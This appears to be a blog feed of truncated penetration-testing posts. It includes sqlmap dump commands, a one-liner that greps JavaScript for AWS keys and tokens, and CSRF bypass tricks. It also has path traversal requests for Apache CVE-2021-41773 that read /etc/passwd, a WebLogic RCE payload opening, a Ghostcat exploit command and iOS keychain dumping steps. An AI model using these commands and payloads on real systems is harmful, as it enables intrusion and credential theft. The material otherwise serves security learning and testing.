neetech18

  NOTE : for each command using  --dbms=mysql. — — CHEAT SHEET — — # Enum DB sqlmap --dbms=mysql -u “http//domain/" --dbs # Enum tables sqlmap --dbms=mysql -u  “http//domain/"  -D target_DB --tables --current-user : enum current user --current-db : enum db name # Use POST methods sqlmap --dbms=mysql -u  “http//domain/"  --data=”data1=aaa&data2=bbb” # List of users and roles sqlmap --dbms=mysql -u  “http//domain/"  --users --roles --threads=10 # Custom Query sqlmap --dbms=mysql -u  “http//domain/"  --sql-query=”select * from master.sys.server_principals” # Dump table sqlmap --dbms=mysql -u  “http//domain/"  -D target_DB -T target_Table --dump # List columns sqlmap --dbms=mysql -u  “http//domain/"  -D target_DB -T target_Table --columns # Parameter sqlmap --dbms=mysql -u “http//.domain/param1=value1&param2=value2" --dbs -p param2 # Specify URIs sqlmap --dbms=mysql -u “http//.domain/param1/value1*/param2/value2" ...

There are 100 web vulnerabilities classified into different types or categories. Injection Vulnerabilities: 1. SQL Injection (SQLi) 2. Cross-Site Scripting (XSS) 3. Cross-Site Request Forgery (CSRF) 4. Remote Code Execution (RCE) 5. Command Injection 6. XML Injection 7. LDAP Injection 8. XPath Injection 9. HTML Injection 10. Server-Side Includes (SSI) Injection 11. OS Command Injection 12. Blind SQL Injection 13. Server-Side Template Injection (SSTI) Broken Authentication and Session Management: 14. Session Fixation 15. Brute Force Attack 16. Session Hijacking 17. Password Cracking 18. Weak Password Storage 19. Insecure Authentication 20. Cookie Theft 21. Credential Reuse Sensitive Data Exposure: 22. Inadequate Encryption 23. Insecure Direct Object References (IDOR) 24. Data Leakage 25. Unencrypted Data Storage 26. Missing Security Headers 27. Insecure File Handling Security Misconfiguration: 28. Default Passwords 29. Directory Listing 30. Unprotected API Endpoints 31. Open Ports and S...

A nalyze JavaScript files during your hunting process To analyze JavaScript files during your hunting process, you can use the following one-liner to extract all JavaScript files from a specific domain. Then, you can use the 'grep' command to filter and display only sensitive information like authentication tokens. Required tools for this process include: -A command-line interface. -A tool for recursively extracting JavaScript files from a domain. -The 'grep' command for pattern matching and extraction of sensitive data such as authentication tokens. -subfinder - https://github.com/projectdiscovery/subfinder -httpx - https://github.com/projectdiscovery/httpx -waybackurls - https://github.com/tomnomnom/waybackurls MAIN ONELINER:  subfinder -d domain.com | httpx -mc 200 | tee subdomains.txt && cat subdomains.txt | waybackurls | httpx -mc 200 | grep .js | tee js.txt GREP ONELINER FOR EXTRACTING TOKENS, AUTH,... : cat js.txt | grep -r -E “aws_access_key|aws_secret_k...

How to Install Golang on WSL/WSL2 Kali Install Go- At the time of writing this blog, the most recent LTS version of Go is 1.18.3. wget https://dl.google.com/go/go1.18.3.linux-amd64.tar.gz sudo tar -xvf go1.18.3.linux-amd64.tar.gz sudo mv go /usr/local Edit .bashrc file- You have to edit .bashrc file before making further changes, you can follow below steps to open .bashrc file cd ~ explorer.exe . Open .bashrc file and add following lines at the bottom and save the file- export GOROOT=/usr/local/go export GOPATH=$HOME/go export PATH=$GOPATH/bin:$GOROOT/bin:$PATH Refresh your terminal using **bash **command bash Check Go Version go version Make sure it returns the same version that you installed.

File Path Traversal with Burp Intruder-Payload Processing:  Use the Burp Intruder and select Payload and do the processing as shown below- Start the attack.

 A few ways to Bypass CSRF-Token Verification: 1. Use a blank CSRF token value. 2. Completely remove the CSRF token parameter value from the request. 3. Use any random CSRF Token of the same length. 4. Create another user account, copy its CSRF Token value and use it in the victim's account. 5. Try to decode the CSRF Token and check if it is encoded with algorithms like Base64, If yes it can be generated for other users. 6. Change request method i.e. from POST to GET. There is a possibility that the action gets initiated in both GET and POST method and it doesn't require a token in case of GET Method. Adding: Try bypassing with referrer based. Check whether CSRF tokens are expired properly. -->Old CSRF token re-use require physical access to the machine in order to exploit also the account should be logged in the time attacker access the device. It's a very low severity.

LFI-LFD-RFI-Path Traversal Local File Inclusion (LFI):  The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a dynamic file inclusion mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. It also known as that is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. Function that could result in LFI: 1-include () 2-inculde _once() 3-require () 4-require_once() Local File Disclosure (LFD):  The same as local file inclusion but it enable be to execute file not only read it . Note: Every LFI can be LFD but every LFD not necessary to be LFI. A local file inclusion vuln means it executes the contents it includes, like PHP's include() function. A local file disclosure vuln discloses the contents of the local file. Reconsider your definition of loc...

Spring4Shell Vulnerability (CVE-2022-22965) Spring is one of the most popular and most widely used Java frameworks –  ~70% of all Java applications use it – so any security issue found in its core functionalities means bad news for a lot of people. Hence the high level of attention paid by the entire cyber industry.  The newly discovered vulnerability in the popular Java Spring framework, dubbed Spring4Shell, Exploitation of Spring4Shell will allow an attacker to remotely execute arbitrary code on the target server, usually with equivalent permissions to the vulnerable web server itself. A successful attack might allow a user to access all website internal data, including possible access to any connected database. It may also allow an attacker to access additional internal resources to gain more permissions or to pivot to other parts of the internal network. Spring4Shell: An confirmed RCE in Spring Core <=5.3.17. CVE Added (3/31/2022): CVE-2022-22965- RCE in "Spring Core"​...

Pentesting Testing of iOS Applications ++++Installing Frida and Objection: pip install -U objection pip install -U frida https://build.frida.re frida-ps -U frida-ps -Uai ++++Application Exploration: A-To browse applications file- ls B- Print current directory pwd print C-To browse applications file cd /folder/path/name ++++Sensitive Data Exposure 1. Dump .plist files: A- Print environment information env B-Go to document folder cd /var/mobile/Containers/Data/Application/<>/Documents ls C-Download .plist file file download Credentials.plist creds.plist It will get stored in your “C:\Users\USERNAME” path as “creds.plist” name. D-To read that downloaded file: !type creds.plist 2. Dump keychain file of Target Application: ios keychain dump 3. Dump sqlite files: A-Print environment information env B-Goto document folder cd /var/mobile/Containers/Data/Application/<>/Documents C-Download .sqlite file sqlite connect /var/mobile/Containers/Data/Application/<>/Documents/Credent...

Apache-/2.4.49-CVE-2021-41773: Path Traversal Vulnerability Below are the detals for exploitation of this vulnerability: GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd nmap  script at https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse nmap script=http-vuln-cve-2021-41773.nse <target> Proof of Concept: Reference: https://github.com/blasty/CVE-2021-41773 https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

Finding Automated Cross-site Scripting Installing the Tools- https://github.com/devanshbatham/ParamSpider https://github.com/hahwul/dalfox Running the Tools- python3 paramspider.py -d xyz.com > test.txt type test.txt | Gxss -p xss| dalfox pipe --mining-dict params.txt Other Way To Find XSS using GF Tool- echo "target.com" | waybackurls | tee results.txt  cat results.txt | gf xss | sed 's/=.*/=/' | sed 's/URL: //' | tee results1.txt dalfox file results1.txt pipe Installing the Tools- https://github.com/tomnomnom/gf https://github.com/1ndianl33t/Gf-Patterns https://github.com/KathanP19/Gxss https://github.com/hahwul/dalfox Installing Gf Tool in Ubuntu- (use root permission) type this in terminal cd go export GOPATH=/root/go echo 'source $GOPATH/src/github.com/tomnomnom/gf/gf-completion.bash' >> ~/.bashrc cp -r $GOPATH/src/github.com/tomnomnom/gf/examples ~/.gf it should be something like this: /root/go/src/github.com/tomnomnom/gf/gf-completion.b...

Use of Nuclei Templates Summary- Nuclei is used to send requests across targets based on a template leading to zero false positives and providing fast scanning on large number of hosts. Nuclei offers scanning for a variety of protocols including TCP, DNS, HTTP, File, etc. With powerful and flexible templating, all kinds of security checks can be modelled with Nuclei. 1-Installing the  Nuclei templates- go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei 2-Updating  the  Nuclei templates- nuclei -update-templates 3-Running nuclei using host file-  A-Put CIDR/IP's into target_urls.txt and run the below command it will produce the host.txt file- nmap -sL -n -iL target_urls.txt |  awk '/Nmap scan report/{print $NF}' | wtee hosts.txt B-Run httprobe to get the list of url's- type hosts.txt| httprobe -prefer-https | wtee.exe 123.txt C-Use nuclei templates with this 123.txt file- nuclei -t cves/ -severity critical,high -l 123.txt 4-Running Nuclei templ...

Weblogic Vulnerability Allows Unauthorized Bypass RCE (CVE-2020-14882,CVE-2020-14750) Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. An OS Command Injection vulnerability exists in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). This easily exploitable vulnerability allows an unauthenticated attacker with HTTP based network access to compromise the Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. Use below payload in the post request- POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: xx.x.xx.xx:70...

Apache Tomcat AJP Connector Request Injection (Ghostcat)- Ghostcat [CVE-2020–1938] is a LFI vulnerability in AJP service. An attacker can exploit Ghostcat vulnerability and read the contents of configuration files and source code files of all webapps deployed on Tomcat. For example, the /WEB-INF/web.xml file is the Web Root directory who’s access is restricted and cannot be accessed by anyone over HTTP Tomcat server. So by exploiting the Ghostcat [CVE-2020–1938] vulnerability, it is possible to read contents of the files in the Web server directory from AJP13 protocol (LFI vulnerability). In our case the /WEB-INF/web.xml file. Run below command from the terminal- (Downloaded exploit at https://github.com/00theway/Ghostcat-CNVD-2020-10487/blob/master/ajpShooter.py Location) python3 ajpShooter.py http://IP:8080 8009 /WEB-INF/web.xml read Impact-A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web a...

  List of Useful FFUF command- ffuf -w wordlist.txt:FUZZ -w urls.txt:HOSTS -u https://HOSTS/FUZZ -c ffuf -u https://Target URL/W1 -w ./wordlist.txt:W1 ffuf -u https://W2/W1 -w ./wordlist.txt:W1,./domains.txt:W2 ffuf -u https://FUZZDOMAIN/FUZZDIR -w ./wordlist.txt:FUZZDIR,./domains.txt:FUZZDOMAIN ffuf -u https://FUZZDOMAIN/FUZZDIR -w ./domains.txt:FUZZDOMAIN,./wordlist.txt:FUZZDIR  ffuf -u https://W2/W1 -w ./wordlist.txt:W1 -w ./domains.txt:W2 To remove this, and only show results that line up with the matcher filters, you can use the silent flag, -s. This flag will enforce only successful hits to be shown. For example, our command from earlier, if exapnded with -s becomes: ffuf -u https://codingo.io/FUZZ -w ./wordlist.txt -s Also, use mc and fc option to match or filter the responses. Thanks!!

Adding Module To Metasploit From Searchsploit (ExploitDB) 1-Look for the exploit you want to add: searchsploit sonicwall 8.1.0.2-14sv Make a note of the path for the exploit. 2-Next, you would need to create a folder in the .msf4/modules directory that correlates with the path in exploit-db. So in this case I will add cgi/webapps. 3-Go to your newly created folder and copy the exploit: cp /usr/share/exploitdb/exploits/cgi/webapps/42344.rb /root/.msf4/modules/exploits/cgi/webapps/ 4-Make sure that you specify both, the root path (its specified right underneath the title “Path” in the searchsploit search output) and the relative path. 5-Once you are done run updatedb. 6-If your msfconsole is running make sure to close it and reopen again after running updatedb. You can now use the exploit.You will also see that the number of exploits is increased by one.

Rooting Redmi2 Prime Device 1-Download android platform tools- http://www.mediafire.com/file/u8xnvsede6e6hoa/adb-setup-1.4.3.zip/file 2-Download the TWRP Recovery for Xiaomi Redmi 2 Prime: https://androidfilehost.com/?fid=24399994186369590 3-Download Magisk 20.4 Zip- https://github.com/topjohnwu/Magisk/releases/download/v20.4/Magisk-v20.4.zip 4-Place twrp-3.0.0-0-wt88047-20160206.img file in to the platform tools folder. 5-fastboot devices 6-fastboot flash recovery "C:\Users\...\Redmi2 prime\platform-tools\twrp-3.0.0-0-wt88047-20160206.img" 7-fastboot boot "C:\Users\....\Redmi2 prime\platform-tools\twrp-3.0.0-0-wt88047-20160206.img" 8-ow place the Magisk-v20.4.zip file in to mobile phone- 9-Next Disconnect phone and install the Magisk-v20.4.zip file from the install tab. 10-Using Root checker software validate the root access. Device Rooted!! To get back the same version download the ROM from mi site and install again it will back to non rooted device mode. Resolvin...

 X-Forwarded-For- Some web applications make it possible to restrict access based on IP address of the visitor. This is particularly common for administrator interfaces. It is a good idea to restrict this interface to the IP addresses that are known to be used by actual administrators. To implement this, the web application will check the REMOTE_ADDR value that the webserver passes through to the application. The X-Forwarded-For header is usually set by a proxy, but it can also be added by an attacker. By adding his own X-Forwarded-For header, the attacker can spoof his IP address. If the IP block is implemented incorrectly, it can be bypassed by putting an allowed IP address in the header, even if the connection actually originated from a blocked IP address. Without X-Forwarded-For Header Header- With X-Forwarded-For Header Header- You can use "Bypass WAF" Burp plugin to automate this with session handler rule for proxy tab for all URL's.   Redirected to 302- Other ...

XML external entity (XXE) injection- XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access. In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks. XML external entities are a type of custom XML entity whose defined values are loaded from outside of the DTD in which they are declared. External entities are particularly interesting from a security perspective because they allow an entity to be defined based on the contents of a file path or URL. What are the types of XXE attacks-  There are various types of XXE attacks- Exploiting XXE to retri...

Script- #!/bin/bash input=$1 masscan_scan() { mkdir -p ip tmp nmap masscan -iL $input -p 0-65535 --rate=10000 --open -oG tmp/test.txt } masscan_scan filter_ip () { cat tmp/test.txt | grep "Host" | awk '{print $2}' | sort -u > tmp/tmp.txt } filter_ip nmap_file() { for ip in $(cat tmp/tmp.txt); do echo "nmap $ip -T3 -sV -oX nmap/$ip.xml -p" > ip/tmp.txt cat tmp/test.txt | grep "Host" | awk '{print $2,$5}' | sed 's/[open/tcp]//g' | grep "$ip" | awk '{print $2}' | xargs | sed 's/ /,/g' | sort -u >> ip/tmp.txt cat ip/tmp.txt | xargs > ip/$ip rm ip/tmp.txt done } nmap_file nmap_scan() { for ip in $(ls ip/*); do sleep 2 $(cat $ip) done } nmap_scan remove_file () { rm ip tmp -R } remove_file Retrieved from-https://github.com/Musab-khan95/Basic-Recon/blob/master/scan.sh